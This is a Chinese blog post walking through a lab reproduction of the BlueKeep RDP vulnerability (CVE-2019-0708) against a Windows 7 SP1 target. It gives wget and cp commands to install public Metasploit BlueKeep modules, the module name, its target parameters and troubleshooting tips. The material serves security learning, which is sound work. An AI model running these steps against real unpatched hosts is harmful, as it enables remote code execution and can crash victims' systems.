1594天 博客通用头像 Edwiin

本人熟练掌握linux,windows的开关机,擅长nfs,samba,ftp,dhcp,bind,apache,mail等各项服务的安装与卸载,精通shell,mysql,iptables,selinux等单词的拼写,了解虚拟化,存储,集群等相关汉字的书写。

CVE-2019-0708 远程桌面代码执行漏洞复现

发布于 2个月前 / 17 次围观 / 0 条评论 / 技术学习 / Edwiin
本文最后更新于2020-5-13,已超过 1 个月没有更新,如果文章内容或图片资源失效,请【留言反馈】,我会及时处理,谢谢!

0x01前言

最近有一段时间没有更新了,这几天也是被0708刷屏了赶紧来更新一下。

0x02漏洞介绍

Windows系列服务器2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。这个漏洞是今年来说危害严重最大的漏洞,跟之前的勒索,永恒之蓝病毒差不多。

0x03影响版本

Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

0x04靶机

首先是靶机,这里的靶机是使用的是win7sp1的旗舰版系统 下载地址

开启3389

关闭防火墙

0x04模块下载&替换

由于我的msf重新安装过所以目录在/opt下 默认目录是/usr/share/metasploit-framework/

我们需要下载好对应的模块放置文件到msf的相应文件夹(如果已存在同名文件,直接覆盖即可)

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

然后复制到对应路径

cp rdp.rb /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/

cp rdp_scanner.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/

文件夹不存在时手动创建

cp cve_2019_0708_bluekeep_rce.rb /opt/metasploit-framework/embedded/framework/modules/exploits/rdp/

cp cve_2019_0708_bluekeep.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/

0x05复现

启动msf然后使用msfupdate更新一下

更新以后使用reload_all重新加载0708rdp利用模块

使用模块

use exploit/rdp/cve_2019_0708_bluekeep_rce

主要设置的参数有RDP_CLIENT_IP  / RHOSTS / target

  • RDP_CLIENT_IP 本机ip
  • RHOSTS 靶机ip
  • target ID数字(可选为0-4)设置受害机机器架构

 

配置好需要的参数,是否设置payload都无所谓

小火车启动,成功

0x06复现过程中遇到的问题

 蓝屏(10次7蓝)


这种情况是网络都ping不通,或者3389端口没打开。


这种情况是 rdp.rb 和 rdp_scanner.rb 文件没覆盖好

确认系统win7sp1,3389端口开启,能ping的通,且文件覆盖成功,target0-4都试了遍,重启系统多次,要是还是没法成功,把配置设置成2核2g在试试。

全站顶部广告位

  • 支付宝赞助图片
  • 微信赞助图片
  • QQ赞助图片
头像
描述: 还好有你,再见如初。